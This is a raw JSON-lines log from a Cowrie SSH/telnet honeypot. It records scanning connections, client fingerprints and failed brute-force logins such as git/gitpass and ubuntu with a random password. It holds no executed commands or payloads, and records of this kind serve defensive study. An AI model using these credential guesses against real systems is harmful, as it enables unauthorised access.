{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":40682,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8fd316f9f55","protocol":"ssh","message":"New connection: 182.191.77.164:40682 (10.17.0.5:22) [session: f8fd316f9f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:50.131031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:50.140892Z","src_ip":"182.191.77.164","session":"f8fd316f9f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:50.375024Z","src_ip":"182.191.77.164","session":"f8fd316f9f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpass","message":"login attempt [git/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:51.340984Z","src_ip":"182.191.77.164","session":"f8fd316f9f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:52.580558Z","src_ip":"182.191.77.164","session":"f8fd316f9f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e39b1c4618","protocol":"telnet","message":"New connection: 69.4.83.194:36548 (159.203.135.109:23) [session: c8e39b1c4618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:02:56.910940Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":60438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85617aa8cb1","protocol":"telnet","message":"New connection: 34.22.185.74:60438 (10.17.0.5:23) [session: a85617aa8cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:04.292697Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":60450,"dst_ip":"10.17.0.5","dst_port":23,"session":"81150e9c9a1d","protocol":"telnet","message":"New connection: 34.22.185.74:60450 (10.17.0.5:23) [session: 81150e9c9a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:04.447382Z"}
{"eventid":"cowrie.session.closed","duration":0.006089210510253906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:04.453329Z","src_ip":"34.22.185.74","session":"81150e9c9a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":60454,"dst_ip":"10.17.0.5","dst_port":23,"session":"7557df2a5909","protocol":"telnet","message":"New connection: 34.22.185.74:60454 (10.17.0.5:23) [session: 7557df2a5909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:04.605557Z"}
{"eventid":"cowrie.session.closed","duration":7.7623069286346436,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:12.054857Z","src_ip":"34.22.185.74","session":"a85617aa8cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36328,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d788372e7b","protocol":"telnet","message":"New connection: 178.128.93.180:36328 (10.17.0.5:23) [session: c0d788372e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:12.649315Z"}
{"eventid":"cowrie.session.closed","duration":37.08118772506714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:16.632490Z","src_ip":"69.4.83.194","session":"8c9420266d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45596,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3f90618b6c","protocol":"telnet","message":"New connection: 69.4.83.194:45596 (159.203.135.109:23) [session: 3b3f90618b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:22.228802Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32440,"dst_ip":"10.17.0.5","dst_port":23,"session":"28156aecb9e1","protocol":"telnet","message":"New connection: 34.22.185.74:32440 (10.17.0.5:23) [session: 28156aecb9e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:23.768033Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:23.774211Z","src_ip":"34.22.185.74","session":"28156aecb9e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:23.778387Z","src_ip":"34.22.185.74","session":"28156aecb9e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08930826187133789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:23.857238Z","src_ip":"34.22.185.74","session":"28156aecb9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32450,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb00651c86c7","protocol":"telnet","message":"New connection: 34.22.185.74:32450 (10.17.0.5:23) [session: bb00651c86c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:23.932590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32460,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a86703de8c3","protocol":"telnet","message":"New connection: 34.22.185.74:32460 (10.17.0.5:23) [session: 1a86703de8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.093423Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32466,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a49c5555085","protocol":"telnet","message":"New connection: 34.22.185.74:32466 (10.17.0.5:23) [session: 5a49c5555085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.249238Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":46995,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2f320710d3","protocol":"ssh","message":"New connection: 88.147.30.59:46995 (10.17.0.5:22) [session: ff2f320710d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.381445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.386823Z","src_ip":"88.147.30.59","session":"ff2f320710d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32478,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a3d12fb3b5","protocol":"telnet","message":"New connection: 34.22.185.74:32478 (10.17.0.5:23) [session: 47a3d12fb3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.405231Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.502306Z","src_ip":"88.147.30.59","session":"ff2f320710d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32492,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e8069d669e","protocol":"telnet","message":"New connection: 34.22.185.74:32492 (10.17.0.5:23) [session: 19e8069d669e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.561591Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7fe25735c39","protocol":"telnet","message":"New connection: 34.22.185.74:32504 (10.17.0.5:23) [session: a7fe25735c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.718014Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32518,"dst_ip":"10.17.0.5","dst_port":23,"session":"4999b6302db6","protocol":"telnet","message":"New connection: 34.22.185.74:32518 (10.17.0.5:23) [session: 4999b6302db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.875335Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:24.998189Z","src_ip":"88.147.30.59","session":"ff2f320710d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32530,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4285c03fb49","protocol":"telnet","message":"New connection: 34.22.185.74:32530 (10.17.0.5:23) [session: c4285c03fb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.036975Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32542,"dst_ip":"10.17.0.5","dst_port":23,"session":"705511fd28e7","protocol":"telnet","message":"New connection: 34.22.185.74:32542 (10.17.0.5:23) [session: 705511fd28e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.198946Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa1978ccdd8","protocol":"telnet","message":"New connection: 34.22.185.74:32556 (10.17.0.5:23) [session: ffa1978ccdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.430905Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32566,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca43542c035","protocol":"telnet","message":"New connection: 34.22.185.74:32566 (10.17.0.5:23) [session: aca43542c035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.587229Z"}
{"eventid":"cowrie.session.closed","duration":0.006613731384277344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.593687Z","src_ip":"34.22.185.74","session":"aca43542c035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32582,"dst_ip":"10.17.0.5","dst_port":23,"session":"792a0251426f","protocol":"telnet","message":"New connection: 34.22.185.74:32582 (10.17.0.5:23) [session: 792a0251426f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.743905Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32588,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fec91a18811","protocol":"telnet","message":"New connection: 34.22.185.74:32588 (10.17.0.5:23) [session: 2fec91a18811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:25.899958Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32598,"dst_ip":"10.17.0.5","dst_port":23,"session":"2feef919594f","protocol":"telnet","message":"New connection: 34.22.185.74:32598 (10.17.0.5:23) [session: 2feef919594f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.059580Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.123047Z","src_ip":"88.147.30.59","session":"ff2f320710d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32600,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21e3f16292b","protocol":"telnet","message":"New connection: 34.22.185.74:32600 (10.17.0.5:23) [session: e21e3f16292b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.217639Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32606,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be59bc0df73","protocol":"telnet","message":"New connection: 34.22.185.74:32606 (10.17.0.5:23) [session: 9be59bc0df73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.374757Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32608,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22e74ea60c3","protocol":"telnet","message":"New connection: 34.22.185.74:32608 (10.17.0.5:23) [session: b22e74ea60c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.535560Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32622,"dst_ip":"10.17.0.5","dst_port":23,"session":"db04dbad1e42","protocol":"telnet","message":"New connection: 34.22.185.74:32622 (10.17.0.5:23) [session: db04dbad1e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.690920Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32638,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a9c427d6607","protocol":"telnet","message":"New connection: 34.22.185.74:32638 (10.17.0.5:23) [session: 9a9c427d6607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.847619Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":36176,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdaac9d14d6c","protocol":"ssh","message":"New connection: 123.58.209.58:36176 (159.203.135.109:22) [session: cdaac9d14d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.870455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:26.875691Z","src_ip":"123.58.209.58","session":"cdaac9d14d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32650,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c1db0b66f3","protocol":"telnet","message":"New connection: 34.22.185.74:32650 (10.17.0.5:23) [session: e1c1db0b66f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.002923Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.012534Z","src_ip":"34.22.185.74","session":"e1c1db0b66f3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.090701Z","src_ip":"123.58.209.58","session":"cdaac9d14d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32664,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec02b8e46020","protocol":"telnet","message":"New connection: 34.22.185.74:32664 (10.17.0.5:23) [session: ec02b8e46020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.160399Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32678,"dst_ip":"10.17.0.5","dst_port":23,"session":"f82b18d60d7a","protocol":"telnet","message":"New connection: 34.22.185.74:32678 (10.17.0.5:23) [session: f82b18d60d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.314692Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":46846,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc0dfdd3cebc","protocol":"ssh","message":"New connection: 103.82.20.28:46846 (159.203.135.109:22) [session: dc0dfdd3cebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.321026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.325889Z","src_ip":"103.82.20.28","session":"dc0dfdd3cebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32684,"dst_ip":"10.17.0.5","dst_port":23,"session":"c960fd9df32f","protocol":"telnet","message":"New connection: 34.22.185.74:32684 (10.17.0.5:23) [session: c960fd9df32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.472517Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.588922Z","src_ip":"103.82.20.28","session":"dc0dfdd3cebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32690,"dst_ip":"10.17.0.5","dst_port":23,"session":"4529a8ae4aaa","protocol":"telnet","message":"New connection: 34.22.185.74:32690 (10.17.0.5:23) [session: 4529a8ae4aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.627126Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32692,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe03bc7df3e","protocol":"telnet","message":"New connection: 34.22.185.74:32692 (10.17.0.5:23) [session: 4fe03bc7df3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.782063Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.185.74","src_port":32706,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa1315463b7","protocol":"telnet","message":"New connection: 34.22.185.74:32706 (10.17.0.5:23) [session: ffa1315463b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.941411Z"}
{"eventid":"cowrie.session.closed","duration":0.0052642822265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.946562Z","src_ip":"34.22.185.74","session":"ffa1315463b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:03:27.980612Z","src_ip":"123.58.209.58","session":"cdaac9d14d6c","protocol":"ssh"}
